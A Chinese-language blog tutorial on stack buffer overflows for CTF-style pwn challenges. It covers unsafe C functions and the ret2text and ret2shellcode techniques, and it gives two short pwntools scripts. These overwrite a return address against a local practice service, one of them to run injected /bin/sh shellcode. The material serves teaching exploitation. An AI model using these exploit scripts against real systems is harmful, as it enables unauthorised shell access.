zoukankan      html  css  js  c++  java
  • Pwn_5 Stack Overflow

    Buffer Overflow

    因为程序本身没有正确检查输入数据的大小,造成攻击者可以输入比buffer还要大的数据,使得超出部分覆盖程序的其他部分,影响程序执行。

    Stack Overflow

    利用方式简单,可以直接覆盖return address和控制参数

    Vunlnerable Function

    • gets
    • scanf
    • strcpy
    • sprintf
    • memcpy
    • strcat


    Return to Text

    控制程序的返回地址到原本程序中的函数(代码)

    例如有类似的function,就可以直接跳转到这个function,function的地址可以用过IDA Pro或者objdump来查找

    • system(‘/bin/sh’)   //很少
    • execve(‘/bin/sh’,NULL,NULL)

    Return to Shellcode

    • 覆盖返回地址
    • 跳转到func或者shell

    要做的事情

    1.确定偏移地址offest

    2.ret->shell

    多输入,如果报了段错误说明有   溢出点

    image偏移地址是32

    函数地址

    image0x804851D

    一个脚本

    from pwn import *
    r = remote ('127.0.0.1',4000)   #connect

    r.sendline('a'*32 +p32(0x804851D) ) #offset + ret

    r.interactive()


    image丢进IDA看伪代码

    双击name,name是一个未初始化的全局变量,在bss段中,这是一种关键信息。地址为0x0804A060,不改变

    image

    from pwn import *
    r = remote ('127.0.0.1',4000)   #connect

    r.recvuntil('Name:')

    r.sendline(asm(shellcraft.sh()) ) #offset + ret

    r.recvuntil('Try your best: ')

    r.sendline('a'*32+p32(0x0804A060))

    r.interactive()   # interact

    返回地址改为全局变量的地址

  • 相关阅读:
    《计算机网络 自顶向下方法》 第3章 运输层 Part1
    Java 字符串截取问题
    Java 字符排序问题
    Linux 下实时查看日志
    Java项目 打war包方法
    Linux 下 安装jdk 1.7
    Linux 下安装jetty服务器
    Linux 系统下安装 rz/sz 命令及使用说明
    Xshell
    Linux 常用命令大全
  • 原文地址:https://www.cnblogs.com/rookieDanny/p/8460353.html
Copyright © 2011-2022 走看看